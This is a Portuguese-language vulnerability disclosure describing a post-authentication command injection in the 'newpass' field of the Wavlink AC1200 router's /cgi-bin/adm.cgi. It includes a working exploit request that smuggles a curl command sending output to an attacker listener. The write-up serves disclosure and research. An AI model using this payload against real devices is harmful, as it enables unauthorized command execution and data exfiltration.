
Wavlink AC1200 com as versões de firmware M32A3_V1410_230602 e M32A3_V1410_240222 são vulneráveis a uma injeção de comandos pós-autenticação ao redefinir a senha. Esta vulnerabilidade é encontrada especificamente na função "set_sys_adm" do binário "adm.cgi", e se deve à sanitização inadequada do campo "newpass" fornecido pelo usuário.
Durante uma recente pesquisa de segurança para o Wavlink AC1200 (Modelo: WL-WN532A3), foi identificada uma vulnerabilidade de Injeção de Comandos Pós-Autenticação no endpoint "/cgi-bin/adm.cgi". Esta vulnerabilidade poderia permitir que atores maliciosos que tenham comprometido as credenciais do roteador executem comandos arbitrários de shell. Um número CVE está atualmente aguardando atribuição para esta vulnerabilidade.
Ao receber o Roteador Wavlink AC1200, o firmware carregado foi identificado como 'M32A3_V1410_230602'. No entanto, esta versão específica do firmware não estava disponível no site oficial de suporte da Wavlink. A Wavlink forneceu apenas uma versão do firmware, M32A3_V1410_240222, que é aproximadamente oito meses mais recente. Durante a análise, decidiu-se pesquisar o firmware mais recente disponível, enquanto tentava explorar quaisquer vulnerabilidades na versão antiga para confirmar se alguma vulnerabilidade identificada afetava ambas as versões do firmware. Isso também evitou a necessidade de extrair manualmente o firmware do dispositivo. A extração do sistema de arquivos raiz foi simplesmente feita usando a funcionalidade de extração do 'binwalk'. O firmware M32A3_V1410_240222 está disponível para download no seguinte link: https://docs.wavlink.xyz/Firmware/fm-532a3/

A pesquisa inicial focou-se em identificar a superfície de ataque para injeções de comandos. Embora muitas chamadas para system, popen e várias funções auxiliares importadas para executar comandos de sistema fossem chamadas, muitas eram simplesmente chamadas para scripts bash pré-fabricados nos quais a injeção não era possível. No entanto, uma chamada para system na função set_sys_adm dentro de /etc_ro/lighttpd/www/cgi-bin/adm.cgi imediatamente levantou suspeitas à primeira vista, devido à passagem de um array de caracteres que foi formatado usando sprintf. Após uma inspeção mais aprofundada, determinou-se que a função tentava sanitizar a entrada de uma senha fornecida pelo usuário procurando pelo caractere ;. No entanto, essa sanitização falha em considerar outras técnicas de injeção de comandos.

Esta foi uma grande descoberta, mas era hora de descobrir onde essa vulnerabilidade poderia ser acessada a partir do portal web. Foi rapidamente identificado que essa função era chamada ao redefinir a senha a partir da página "Login Password".

Após identificar esta página web, a Requisição HTTP POST foi capturada com o Burp Suite. A requisição é a seguinte:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Agora que entendemos a Vulnerabilidade de Injeção de Comandos em questão e identificamos de onde a vulnerabilidade é acessível, era hora de fazer uma tentativa de exploração. A seguinte requisição foi enviada para forçar o roteador a fazer uma requisição curl para um listener netcat, enquanto também exfiltrava dados através do campo User Agent. O comando antes da codificação URL e da colocação na requisição é o seguinte: curl http://192.168.1.6:4567/ -A $(pwd). O comando colocado em uma requisição HTTP POST é o seguinte:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
Após enviar a requisição, obtivemos a confirmação de que a vulnerabilidade é explorável.
